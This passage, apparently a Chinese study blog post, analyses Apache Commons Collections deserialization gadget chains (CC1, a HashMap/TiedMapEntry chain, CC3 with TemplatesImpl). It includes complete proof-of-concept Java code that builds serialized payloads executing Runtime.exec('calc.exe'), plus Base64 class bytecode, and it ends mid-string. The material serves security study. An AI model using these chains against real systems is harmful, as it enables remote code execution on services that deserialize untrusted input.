Apache Commons Collections反序列化链

 Apache Commons Collections-1 反序列化链

漏洞点

Apache Commons Collections中有一个特殊的接口Transformer

public interface Transformer {

public Object transform(Object input);

}

InvokerTransformer是实现了Transformer接口的一个类,这个类可以可以通过Java的反射机制来调用任意函数

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {

this.iMethodName = methodName;

this.iParamTypes = paramTypes;

this.iArgs = args;

}

public Object transform(Object input) {

if (input == null) {

return null;

}

try {

// 获取输入类的类对象

Class cls = input.getClass();

// 通过输入的方法名和方法参数,获取指定的反射方法对象

Method method = cls.getMethod(iMethodName, iParamTypes);

// 反射调用指定的方法并返回方法调用结果

return method.invoke(input, iArgs);

} catch (Exception ex) {

// 省去异常处理部分代码

}

}

可以看到该InvokerTransformer类是实现Transformer接口的(Transformer接口主要用于转换并返回一个给定的Object对象),且其中的transform()方法采用反射机制进行任意函数调用,这就是漏洞点所在

几个涉及到的类和接口
  • Transformer

Transformer是⼀个接口,它只有⼀个待实现的方法,作用是给定一个Object对象经过转换后同时也返回一个Object:

public interface Transformer {

public Object transform(Object input);

}
  • ConstantTransformer

ConstantTransformer是实现了Transformer接口的⼀个类,它的过程就是在构造函数的时候传入一个对象,并在transform方法将这个对象再返回:

public ConstantTransformer(Object constantToReturn) {

super();

iConstant = constantToReturn;

}

public Object transform(Object input) {

return iConstant;

}
  • InvokerTransformer

上文提到过了,可以通过反射执行任意方法的关键类

  • ChainedTransformer

ChainedTransformer也是实现了Transformer接口的一个类,它的作⽤是将内部的多个Transformer串在一起。

我们只需要传入一个Transformer数组ChainedTransformer就可以实现依次的去调用每一个Transformertransform方法。

通俗来说就是,前一个回调返回的结果,作为后⼀个回调的参数传入


  • TransformedMap

TransformedMap用于对Java标准数据结构Map做一个修饰,

被修饰过的Map在添加新的元素时,将可以执行一个调用(调用一个实现了Transformer接口的对象)。

只要调用TransformedMapsetValue/put/putAll中的任意方法都会调用InvokerTransformer类的transform方法,从而也就会触发命令执行

我们通过下面这行代码对innerMap进行修饰,传出的outerMap即是修饰后的Map:

Map outerMap = TransformedMap.decorate(innerMap, keyTransformer, valueTransformer);
  • LazyMap

LazyMap是在其get方法中执行的 factory.transform

Map outerMap = LazyMap.decorate(innerMap, transformerChain);

其实这也好理解,LazyMap 的作用是“懒加载”,在get找不到值的时候,它会调用 factory.transform 方法去获取一个值

寻找调用

我们既然想要调用InvokerTransformer.transform(),我就需要寻找其他类有没有可控对象.transform()这种调用,搜索可以得到比较明显的两个:

  • TransformedMap:

public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable {

//……

protected Object checkSetValue(Object value) {

return valueTransformer.transform(value);

}

}

//AbstractInputCheckedMapDecorator.java:

public Object setValue(Object value) {

value = parent.checkSetValue(value);

return entry.setValue(value);

}
  • Lazymap:
public class LazyMap extends AbstractMapDecorator implements Map, Serializable {

public Object get(Object key) {

// create value for key if key is not currently in the map

if (map.containsKey(key) == false) {

Object value = factory.transform(key);

map.put(key, value);

return value;

}

return map.get(key);

}

}

TransformedMap调用链

Demo

p神知识星球的demo:


import org.apache.commons.collections.Transformer;

import org.apache.commons.collections.functors.ChainedTransformer;

import org.apache.commons.collections.functors.ConstantTransformer;

import org.apache.commons.collections.functors.InvokerTransformer;

import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;

import java.util.Map;

class CommonCollections1 {

public static void main(String[] args) throws Exception {

Transformer[] transformers = new Transformer[]{

new ConstantTransformer(Runtime.getRuntime()),

new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"C:\\Windows\\System32\\calc.exe"}),

};

Transformer transformerChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();

Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

outerMap.put("test", "xxxx");

}

}

如果熟悉几个类的作用,理解这个demo就很简单了:

  1. 先创建一个ChainedTransformer对象,
  2. 第一个参数是ConstantTransformer对象来获取Runtime对象
  3. 第二个参数InvokerTransformer对象执行Runtime.exec方法
  4. 最后通过向TransformedMap.decorate装饰过后的Map添加元素来触发transform回调ChainedTransformer构造好的chain

但是这个demo是存在问题的:

第二步Runtime.getRuntime()获取到的是一个Runtime对象,但是这个对象本身是没有实现Serializable接口的,序列化时会导致失败。

所以上述demo应当改为:

import org.apache.commons.collections.Transformer;

import org.apache.commons.collections.functors.ChainedTransformer;

import org.apache.commons.collections.functors.ConstantTransformer;

import org.apache.commons.collections.functors.InvokerTransformer;

import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;

import java.util.Map;

class CommonCollections1 {

public static void main(String[] args) throws Exception {

Transformer[] transformers = new Transformer[]{

new ConstantTransformer(Runtime.class),

new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime", new Class[0]}),

new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null, new Object[0]}),

new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe",}),

};

Transformer transformerChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();

Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

outerMap.put("test", "xxxx");

}

}
  1. 构造一个ConstantTransformer对象,把Runtime的Class对象传进去,在transform()时,始终会返回这个对象;
  2. 构造一个InvokerTransformer对象,待调用方法名为getMethod,参数为getRuntime,在transform()时,传入第一步的结果,此时的input应该是java.lang.Runtime,但经过getClass()之后,cls为java.lang.Class,之后getMethod()只能获取java.lang.Class的方法,因此才会定义的待调用方法名为getMethod,然后其参数才是getRuntime,它得到的是getMethod这个方法的Method对象,invoke()调用这个方法,最终得到的才是getRuntime这个方法的Method对象;
  3. 构造一个InvokerTransformer对象,待调用方法名为invoke,参数为空,在transform()时,传入第二步的结果,同理,cls将会是java.lang.reflect.Method,再获取并调用它的invoke()方法,实际上是调用上面的getRuntime()拿到Runtime对象;
  4. 构造一个InvokerTransformer对象,待调用方法名为exec,参数为命令字符串,在transform()时,传入第三步的结果,获取java.lang.Runtime的exec方法并传参调用;
  5. 最后把它们组装成一个数组全部放进ChainedTransformer中,在transform()时,会将前一个元素的返回结果作为下一个的参数,刚好满足需求。

在这个demo当中,通过手动调用outerMap.put方法来触发transform回调,但是在实战当中,我们需要寻找在反序列化过程中会有类似操作的一个类;

AnnotationInvocationHandler构造触发点
此类在jdk8u71之后删除了memberValue.setValue(),所以利用版本需要jdk<8u71,这里使用jdk8u60

sun.reflect.annotation.AnnotationInvocationHandler类实现了java.lang.reflect.InvocationHandler(Java动态代理)接口和java.io.Serializable接口,它还重写了readObject方法,在readObject方法中还间接的调用了TransformedMapMapEntrysetValue方法,从而也就触发了transform方法,完成了整个攻击链的调用。

这里的memberValues是经过var1.defaultReadObject()得来的,也就是我们构造好的带有恶意攻击链的TransformedMap对象

要进入到setValue,需要让var7不为null,只需要满足以下两个条件:

  1. sun.reflect.annotation.AnnotationInvocationHandler构造函数的第一个参数必须是Annotation的子类,且其中必须含有至少一个方法,假设方法名是X
  2. TransformedMap.decorate修饰的Map中必须有一个键名为X的元素

经过多次步入,我们可以跟进到了我们熟悉的ChainedTransformer:

通过for循环使前一个Transformer返回的object传入下一个Transformer的transform方法

接下来就是熟悉的通过InvokerTransformer反复去反射Runtime的方法最后执行exec

Poc

import org.apache.commons.collections.Transformer;

import org.apache.commons.collections.functors.ChainedTransformer;

import org.apache.commons.collections.functors.ConstantTransformer;

import org.apache.commons.collections.functors.InvokerTransformer;

import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;

import java.io.ByteArrayOutputStream;

import java.io.ObjectInputStream;

import java.io.ObjectOutputStream;

import java.lang.annotation.Retention;

import java.lang.reflect.Constructor;

import java.lang.reflect.InvocationHandler;

import java.util.HashMap;

import java.util.Map;

class CommonCollections1 {

public static void main(String[] args) throws Exception {

/*构造恶意链*/

Transformer[] transformers = new Transformer[] {

new ConstantTransformer(Runtime.class),

new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),

new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0]}),

new InvokerTransformer("exec", new Class[] { String.class },

new String[] {"calc.exe" }),

};

Transformer transformerChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();

innerMap.put("value", "xxxx");

Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

/*构造AnnotationInvocationHandler对象

反序列化时执行其readObject调用TransformedMap.setValue触发恶意链*/

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);

construct.setAccessible(true);

InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap); //满足进入到setValue的条件

/*构造序列化流*/

ByteArrayOutputStream barr = new ByteArrayOutputStream();

ObjectOutputStream oos = new ObjectOutputStream(barr);

oos.writeObject(handler);

oos.close();

/*反序列化*/

System.out.println(barr);

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));

Object o = (Object)ois.readObject();

}

}

Lazymap调用链

LazyMap和TransformedMap类似,都来自于Commons-Collections库,并继承AbstractMapDecorator。

LazyMap的漏洞触发点和TransformedMap唯一的差别是,TransformedMap是在写入元素的时候执行transform,而LazyMap是在其get方法中执行的 factory.transform 。其实这也好理解,LazyMap 的作用是“懒加载”,在get找不到值的时候,它会调用 factory.transform 方法去获取一个值:

public Object get(Object key) {

// create value for key if key is not currently in the map

if (map.containsKey(key) == false) {

Object value = factory.transform(key);

map.put(key, value);

return value;

}

return map.get(key);

}

相比于TransformedMap的利用方法,LazyMap后续利用稍微复杂一些。

原因是在sun.reflect.annotation.AnnotationInvocationHandlerreadObject方法中并没有直接调用到Map的get方法。

所以ysoserial找到了另一条路,AnnotationInvocationHandler类invoke方法有调用到get:

 

但是我们应该如何去调用到invoke方法呢?这里插一个知识点:

Java动态代理

https://zhuanlan.zhihu.com/p/42516717

Java作为一门静态语言,如果想劫持一个对象内部的方法调用,实现类似PHP __call的魔术方法,要用到java.reflect.Proxy

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);

Proxy.newProxyInstance 的第一个参数是ClassLoader,我们用默认的即可;

第二个参数是我们需要代理的对象集合;

第三个参数是一个实现了InvocationHandler接口的对象(就是我们自己写的),里面包含了具体代理的逻辑。

举个例子,写一个ExampleInvocationHandler劫持Hashmap的get方法:

import java.lang.reflect.InvocationHandler;

import java.lang.reflect.Proxy;

import java.util.HashMap;

import java.util.Map;

import java.lang.reflect.InvocationHandler;

import java.lang.reflect.Method;

import java.util.Map;

class ExampleInvocationHandler implements InvocationHandler {

protected Map map;

public ExampleInvocationHandler(Map map) {

this.map = map;

}

/*劫持get方法*/

public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {

if (method.getName().compareTo("get") == 0) {

System.out.println("Hook method: " + method.getName());

return "Hacked Object";

}

return method.invoke(this.map, args);

}

}

class App {

public static void main(String[] args) throws Exception {

InvocationHandler handler = new ExampleInvocationHandler(new HashMap());

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);

proxyMap.put("hello", "world");

String result = (String) proxyMap.get("hello");

System.out.println(result);

}

}

我调用proxyMap.get("hello")本来应该得到'world',但是经过代理,得到"Hacked Object"

我们回看sun.reflect.annotation.AnnotationInvocationHandler,会发现实际上这个类实际就是一个InvocationHandler

我们如果将这个对象用Proxy进行代理,那么在readObject的时候,只要调用任意方法,就会进入到AnnotationInvocationHandler#invoke方法中,进而触发我们的get

Poc

直接看注释就懂:

import org.apache.commons.collections.Transformer;

import org.apache.commons.collections.functors.ChainedTransformer;

import org.apache.commons.collections.functors.ConstantTransformer;

import org.apache.commons.collections.functors.InvokerTransformer;

import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;

import java.io.ByteArrayOutputStream;

import java.io.ObjectInputStream;

import java.io.ObjectOutputStream;

import java.lang.annotation.Retention;

import java.lang.reflect.Constructor;

import java.lang.reflect.InvocationHandler;

import java.lang.reflect.Proxy;

import java.util.HashMap;

import java.util.Map;

class CC1 {

public static void main(String[] args) throws Exception {

Transformer[] transformers = new Transformer[]{

new ConstantTransformer(Runtime.class),

new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),

new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),

new InvokerTransformer("exec", new Class[] { String.class }, new String[] { "calc.exe" }),

new ConstantTransformer(1)

};

Transformer transformerChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();

Map outerMap = LazyMap.decorate(innerMap, transformerChain);

/*获得AnnotationInvocationHandler的构造方法*/

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);

construct.setAccessible(true);

/*相当于AnnotationInvocationHandler代理任意对象,只要那个对象反序列化时readObject调用任意方法就会触发invoke*/

InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);

/*因为我们入口点是AnnotationInvocationHandler#readObject,所以我们还需要再用AnnotationInvocationHandler对这个proxyMap进行包裹*/

handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);

/*构造序列化*/

ByteArrayOutputStream barr = new ByteArrayOutputStream();

ObjectOutputStream oos = new ObjectOutputStream(barr);

oos.writeObject(handler);

oos.close();

/*反序列化*/

System.out.println(barr);

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));

Object o = (Object)ois.readObject();

}

}

其实就是AnnotationInvocationHandler对象代理他自己,被代理的那个AnnotationInvocationHandlerread对象的Object触发代理的invoke

Apache Commons Collections-2 反序列化链

分析

在CC1里面提到过用AnnotationInvocationHandler构造触发点:

此类在jdk8u71之后删除了memberValue.setValue(),所以利用版本需要jdk<8u71,这里使用jdk8u60

为了解决这个问题,我们需要放弃这个触发点进而寻找其他调用LazyMap#get()的地方

答案就是org.apache.commons.collections.keyvalue.TiedMapEntry,这个类的getValue方法调用了map.get()

public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {

private static final long serialVersionUID = -8453869361373831205L;

private final Map map;

private final Object key;

public TiedMapEntry(Map map, Object key) {

super();

this.map = map;

this.key = key;

}

public Object getKey() {

return key;

}

public Object getValue() {

return map.get(key);

}

public Object setValue(Object value) {

if (value == this) {

throw new IllegalArgumentException("Cannot set value to this map entry");

}

return map.put(key, value);

}

public int hashCode() {

Object value = getValue();

return (getKey() == null ? 0 : getKey().hashCode()) ^

(value == null ? 0 : value.hashCode());

}

public String toString() {

return getKey() + "=" + getValue();

}

}

而同类的hashCode()又调用了getValue(),所以只要找到一个可控对象.hashCode()调用

如果跟过URLDNS链,熟悉HashMap的话,会发现其实HashMap#hash()里面有很多调用可控对象#hashCode()的地方

当然,在java.util.HashMap#readObject 也很容易找HashMap#hash(key)这样的调用,找到了readObject就找到了反序列化的入口。

(其实就和URLDNS一样的putVal(hash(key), key, value, false, false);那一行)

Gadget
HashMap#readObject->HashMap#hash->TiedMapEntry#hashCode()->TiedMapEntry#getValue()->LazyMap#get->ChainedTransformer
poc
import org.apache.commons.collections.Transformer;

import org.apache.commons.collections.functors.ChainedTransformer;

import org.apache.commons.collections.functors.ConstantTransformer;

import org.apache.commons.collections.functors.InvokerTransformer;

import org.apache.commons.collections.keyvalue.TiedMapEntry;

import org.apache.commons.collections.map.LazyMap;

import java.io.*;

import java.lang.reflect.Field;

import java.util.HashMap;

import java.util.Map;

class CommonsCollections6 {

public static void main(String[] args) throws Exception {

Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};

Transformer[] transformers = new Transformer[] {

new ConstantTransformer(Runtime.class),

new InvokerTransformer("getMethod", new Class[] { String.class,

Class[].class }, new Object[] { "getRuntime",

new Class[0] }),

new InvokerTransformer("invoke", new Class[] { Object.class,

Object[].class }, new Object[] { null, new Object[0] }),

new InvokerTransformer("exec", new Class[] { String.class },

new String[] { "calc.exe" }),

new ConstantTransformer(1),

};

Transformer transformerChain = new ChainedTransformer(fakeTransformers);

// 不再使用原CommonsCollections6中的HashSet,直接使用HashMap

Map innerMap = new HashMap();

Map outerMap = LazyMap.decorate(innerMap, transformerChain);

TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

Map expMap = new HashMap();

expMap.put(tme, "valuevalue"); //为了调用hashCode()

outerMap.remove("keykey"); //因为LazyMap触发要求是获取不到这个value,所以要删除

Field f = ChainedTransformer.class.getDeclaredField("iTransformers");

f.setAccessible(true);

f.set(transformerChain, transformers);

// 生成序列化字符串

ByteArrayOutputStream barr = new ByteArrayOutputStream();

ObjectOutputStream oos = new ObjectOutputStream(barr);

oos.writeObject(expMap);

oos.close();

// 本地测试触发

System.out.println(barr);

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));

Object o = (Object)ois.readObject();

}

}

个人认为有些难理解的点:

  • 关于TiedMapEntry的意义

就像名字一样,"tied",意在绑定一个map里面的一个key,操作这个对象就相当于操作这个key对应的value,仔细翻阅源码就知道

  • expMap.put(tme, "valuevalue");

这个一开始看的时候很奇怪,怎么看都看不懂,为啥能把一个对象put到一个map的value里面呢?

如果理解的第一点,这个就迎刃而解了。

你把东西put进去始终是要对他进行操作(get,set等)的,put一个TiedMapEntry对象进去就是相当于可以操作绑定的key对应的value

这里相当于给outerMap的键keykey设置了一个值valuevalue

  • outerMap.remove("keykey");

因为LazyMap里面get方法触发可控对象.transform要求是获取不到这个value,否则就触发不了,所以要删除

反序列化-ApacheCommonsCollections-3

Java动态加载字节码

可以参考“Java简单特性”一文的"类加载机制"

在Java简单特性里面提到过:

Java程序在运行前需要先编译成 .class文件。
Java类初始化的时候会调用 java.lang.ClassLoader加载类字节码, ClassLoader会调用JVM的native方法( defineClass0/1/2)来定义一个 java.lang.Class实例

实际上,不论用什么语言写源码,只要能编译成.class文件,都可以在JVM里面加载运行。

利用URLClassLoader加载远程class文件

Java默认类加载器是Application ClassLoader,URLClassLoader是他的父类;

URLClassLoader继承了ClassLoaderURLClassLoader提供了加载远程资源的能力,在写漏洞利用的payload或者webshell的时候我们可以使用这个特性来加载远程的jar或者class来实现远程的类方法调用

直接看个demo:

import java.net.URL;

import java.net.URLClassLoader;

class HelloClassLoader {

public static void main( String[] args ) throws Exception {

URL[] urls = {new URL("http://localhost:8000/")};

URLClassLoader loader = URLClassLoader.newInstance(urls);

Class c = loader.loadClass("HelloWorld");

c.newInstance();

}

}

可以成功加载本地服务的类

利用ClassLoader#defineClass直接加载字节码

在"Java简单特性"一文的"类加载流程"里面说过了,Java加载任何类都要经过

ClassLoader#loadClass -> ClassLoader#findClass -> ClassLoader#defineClass

其中:

  • loadclass是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制) ,在前面没有找到的情况下,执行findclass
  • findClass是根据基础URL指定的方式来加载类的字节码,可能会在本地文件系统、jar包或远程http服务器上读取字节码,然后交给defineClass
  • defineClass是处理前面传入的字节码,将其处理成真正的Java类

真正处理字节码的其实是defineClass,默认的ClassLoader#defineClass是一个内嵌在JVM中C实现的native方法。

直接调用ClassLoader#defineClass加载字节码的demo:

import java.lang.reflect.Method;

import java.util.Base64;

class HelloDefineClass {

public static void main(String[] args) throws Exception {

Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);

defineClass.setAccessible(true);

byte[] code = Base64.getDecoder().decode("yv66vgAAADQAGwoABgANCQAOAA8IABAKABEAEgcAEwcAFAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApTb3VyY2VGaWxlAQAKSGVsbG8uamF2YQwABwAIBwAVDAAWABcBAAtIZWxsbyBXb3JsZAcAGAwAGQAaAQAFSGVsbG8BABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAABAAEABwAIAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoAAAAOAAMAAAACAAQABAAMAAUAAQALAAAAAgAM");

Class hello = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), "Hello", code, 0, code.length);

hello.newInstance();

}

}

但是问题就是ClassLoader#defineClass被调用的时候,类的对象不会被初始化,必须对象显式调用构造函数,初始化代码才能被执行。而且,即使我们将初始化代码放在类的static块中,在defineClass时也无法被直接调用到。所以,如果我们要使用defineClass在目标机器上执行任意代码,需要想办法调用构造函数

在实际场景中,因为defineClass方法作用域是不开放的,所以攻击者很少能直接利用到它,但它却是我们常用的一个攻击链TemplatesImpl的基石。

利用TemplatesImpl加载字节码

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl这个类中定义了一个内部类 TransletClassLoader,它重写了defineClass方法,而且没有声明作用域(那就是default),即可被同一个包的类调用。

TransletClassLoader#defineClass()向前追溯一下调用链:

TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()

-> TransletClassLoader#defineClass()

最前面两个TemplatesImpl#getOutputProperties()TemplatesImpl#newTransformer()是public,就可以被外部调用。

另外,TemplatesImpl中对加载的字节码是有一定要求的:这个字节码对应的类必须 是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的子类。

我们在构造的时候需要继承这个类:

import com.sun.org.apache.xalan.internal.xsltc.DOM;

import com.sun.org.apache.xalan.internal.xsltc.TransletException;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;

import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;

import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

import java.lang.Runtime;

public class HelloTemplatesImpl extends AbstractTranslet {

public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}

public HelloTemplatesImpl() {

super();

System.out.println("Hello TemplatesImpl");

try {

Runtime.getRuntime().exec("calc");

} catch (IOException e) {

e.printStackTrace();

}

}

}

强调一点:一定要public class,不然只能玩蛇。

在多个Java反序列化利用链,以及fastjsonjackson的漏洞中,都曾出现过TemplatesImpl的身影

CC3(利用InvokerTransformer调用TemplatesImpl#newTransformer)

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.util.Base64;

import org.apache.commons.collections.functors.ChainedTransformer;

import org.apache.commons.collections.functors.ConstantTransformer;

import org.apache.commons.collections.functors.InvokerTransformer;

import org.apache.commons.collections.map.TransformedMap;

import org.apache.commons.collections.Transformer;

import java.lang.reflect.Field;

import java.util.HashMap;

import java.util.Map;

class CommonsCollectionsIntro3 {

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {

Field field = obj.getClass().getDeclaredField(fieldName);

field.setAccessible(true);

field.set(obj, value);

}

public static void main(String[] args) throws Exception {

// source: bytecodes/HelloTemplateImpl.java

byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAbDAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwAAQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwADwABABAAAAACABE=");

TemplatesImpl obj = new TemplatesImpl();

setFieldValue(obj, "_bytecodes", new byte[][] {code});

setFieldValue(obj, "_name", "HelloTemplatesImpl");

setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

Transformer[] transformers = new Transformer[]{

new ConstantTransformer(obj),

new InvokerTransformer("newTransformer", null, null)

};

Transformer transformerChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();

Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

outerMap.put("test", "xxxx");

}

}

其中,setFieldValue方法用来设置私有属性。这里设置了三个属性: bytecodes_name_tfactory

_bytecodes 是由字节码组成的数组。_name 可以是任意字符串, 只要不为null即可。_tfactory 需要是一个TransformerFactoryImpl对象,因为TemplatesImpl#defineTransletClasses()方法里有调用到_tfactory.getExternalExtensionsMap(),如果是null会出错。

真正的CC3(避免使用InvokerTransformer)

com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter这个类的构造⽅法中调⽤了(TransformerImpl) templates.newTransformer(),免去了我们使⽤ InvokerTransformer ⼿⼯调⽤newTransformer()⽅法这⼀步:

 

Gadget

HashMap#readObject->HashMap#hash->TiedMapEntry#hashCode()->TiedMapEntry#getValue()->LazyMap#get->

(ChainedTransformer && InstantiateTransformer)

->TrAXFilter#TrAXFilter()

->TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()

-> TransletClassLoader#defineClass()->RCE
poc

自己根据p神写的东西改出来的,虽然基本算都是cv

import java.io.*;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;

import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.util.Base64;

import org.apache.commons.collections.functors.ChainedTransformer;

import org.apache.commons.collections.functors.ConstantTransformer;

import org.apache.commons.collections.functors.InstantiateTransformer;

import org.apache.commons.collections.map.LazyMap;

import org.apache.commons.collections.Transformer;

import org.apache.commons.collections.keyvalue.TiedMapEntry;

import javax.xml.transform.Templates;

import java.lang.reflect.Field;

import java.util.HashMap;

import java.util.Map;

class CommonsCollectionsIntro3 {

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {

Field field = obj.getClass().getDeclaredField(fieldName);

field.setAccessible(true);

field.set(obj, value);

}

public static void main(String[] args) throws Exception {

// source: bytecodes/HelloTemplateImpl.java

byte[] code = Base64.getDecoder().decode("yv66vgAAADQANQoACwAaCQAbABwIAB0KAB4AHwoAIAAhCAAiCgAgACMHACQKAAgAJQcAJgcAJwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAoAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEADVN0YWNrTWFwVGFibGUHACYHACQBAApTb3VyY2VGaWxlAQAXSGVsbG9UZW1wbGF0ZXNJbXBsLmphdmEMABMAFAcAKQwAKgArAQATSGVsbG8gVGVtcGxhdGVzSW1wbAcALAwALQAuBwAvDAAwADEBAARjYWxjDAAyADMBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAA0ABQBABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2lu